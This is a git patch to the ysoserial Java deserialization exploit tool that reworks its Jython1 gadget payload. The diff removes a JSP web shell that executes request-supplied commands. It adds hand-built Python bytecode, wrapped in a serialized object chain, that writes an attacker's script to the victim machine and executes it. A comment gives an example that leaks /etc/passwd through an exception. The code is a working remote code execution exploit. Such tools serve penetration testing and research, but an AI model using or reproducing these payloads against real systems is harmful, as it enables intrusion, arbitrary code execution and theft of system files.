From f924363559dbf349e9f737787963c0c80622a4ea Mon Sep 17 00:00:00 2001 From: Jacob Baines Date: Sun, 26 Jun 2016 20:38:25 -0400 Subject: [PATCH] A more generalized Jython1 use case --- src/main/java/ysoserial/payloads/Jython1.java | 95 +++++++++++-------- 1 file changed, 56 insertions(+), 39 deletions(-) diff --git a/src/main/java/ysoserial/payloads/Jython1.java b/src/main/java/ysoserial/payloads/Jython1.java index 3a9a9aa..6788db8 100644 --- a/src/main/java/ysoserial/payloads/Jython1.java +++ b/src/main/java/ysoserial/payloads/Jython1.java @@ -2,11 +2,11 @@ package ysoserial.payloads; import org.python.core.*; -import java.io.*; import java.math.BigInteger; -import java.lang.reflect.Field; -import java.lang.reflect.InvocationHandler; +import java.nio.file.Files; +import java.nio.file.Paths; import java.lang.reflect.Proxy; +import java.util.Arrays; import java.util.Comparator; import java.util.PriorityQueue; @@ -17,6 +17,25 @@ import ysoserial.payloads.util.PayloadRunner; /** * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + * + * This version of Jython1 writes a python script on the victim machine and + * executes it. The format of the parameters is: + * + * ; + * + * Where local path is the python script's location on the attack box and + * remote path is the location where the script will be written/executed from. + * For example: + * + * "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py" + * + * In the above example, if "read_etc_passwd.py" simply contained the string: + * + * raise Exception(open('/etc/passwd', 'r').read()) + * + * Then, when deserialized, the script will read in /etc/passwd and raise an + * exception with its contents (which could be useful if the target returns + * exception information). */ @PayloadTest(skip="non RCE") @@ -24,50 +43,48 @@ import ysoserial.payloads.util.PayloadRunner; @Dependencies({ "org.python:jython-standalone:2.5.2" }) public class Jython1 extends PayloadRunner implements ObjectPayload { - public PriorityQueue getObject(String path) throws Exception { + public PriorityQueue getObject(String command) throws Exception { + + String[] paths = command.split(";"); + if (paths.length != 2) { + throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths)); + } // Set payload parameters - String webshell= "<%@ page import=\"java.util.*,java.io.*\"%>\n" + - "
\n" + - "\n" + - "\n" + - "
\n" + - "
\n" +
-            "<%\n" +
-            "if (request.getParameter(\"cmd\") != null) {\n" +
-                    "out.println(\"Command: \" + request.getParameter(\"cmd\") + \"
\");\n" + - "Process p = Runtime.getRuntime().exec(request.getParameter(\"cmd\"));\n" + - "OutputStream os = p.getOutputStream();\n" + - "InputStream in = p.getInputStream();\n" + - "DataInputStream dis = new DataInputStream(in);\n" + - "String disr = dis.readLine();\n" + - "while ( disr != null ) {\n" + - "out.println(disr);\n" + - "disr = dis.readLine();\n" + - "}\n" + - "}\n" + - "%>\n" + - "
"; + String python_code = new String(Files.readAllBytes(Paths.get(paths[0]))); - // Python bytecode to write a file on disk + // Python bytecode to write a file on disk and execute it String code = - "740000" + // 0 LOAD_GLOBAL 0 (open) - "640100" + // 3 LOAD_CONST 1 () - "640200" + // 6 LOAD_CONST 2 ('w') - "830200" + // 9 CALL_FUNCTION 2 - "690100" + // 12 LOAD_ATTR 1 (write) ?? - "640300" + // 15 LOAD_CONST 3 () - "830100" + // 18 CALL_FUNCTION 1 - "01" + // 21 POP_TOP - "640000" + // 22 LOAD_CONST - "53"; // 25 RETURN_VALUE + "740000" + //0 LOAD_GLOBAL 0 (open) + "640100" + //3 LOAD_CONST 1 (remote path) + "640200" + //6 LOAD_CONST 2 ('w+') + "830200" + //9 CALL_FUNCTION 2 + "7D0000" + //12 STORE_FAST 0 (file) + + "7C0000" + //15 LOAD_FAST 0 (file) + "690100" + //18 LOAD_ATTR 1 (write) + "640300" + //21 LOAD_CONST 3 (python code) + "830100" + //24 CALL_FUNCTION 1 + "01" + //27 POP_TOP + + "7C0000" + //28 LOAD_FAST 0 (file) + "690200" + //31 LOAD_ATTR 2 (close) + "830000" + //34 CALL_FUNCTION 0 + "01" + //37 POP_TOP + + "740300" + //38 LOAD_GLOBAL 3 (execfile) + "640100" + //41 LOAD_CONST 1 (remote path) + "830100" + //44 CALL_FUNCTION 1 + "01" + //47 POP_TOP + "640000" + //48 LOAD_CONST 0 (None) + "53"; //51 RETURN_VALUE // Helping consts and names - PyObject[] consts = new PyObject[]{new PyString(""), new PyString(path), new PyString("w"), new PyString(webshell)}; - String[] names = new String[]{"open", "write"}; + PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)}; + String[] names = new String[]{"open", "write", "close", "execfile"}; // Generating PyBytecode wrapper for our python bytecode - PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{}, "noname", "", 0, ""); + PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{ "", "" }, "noname", "", 0, ""); Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray()); // Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method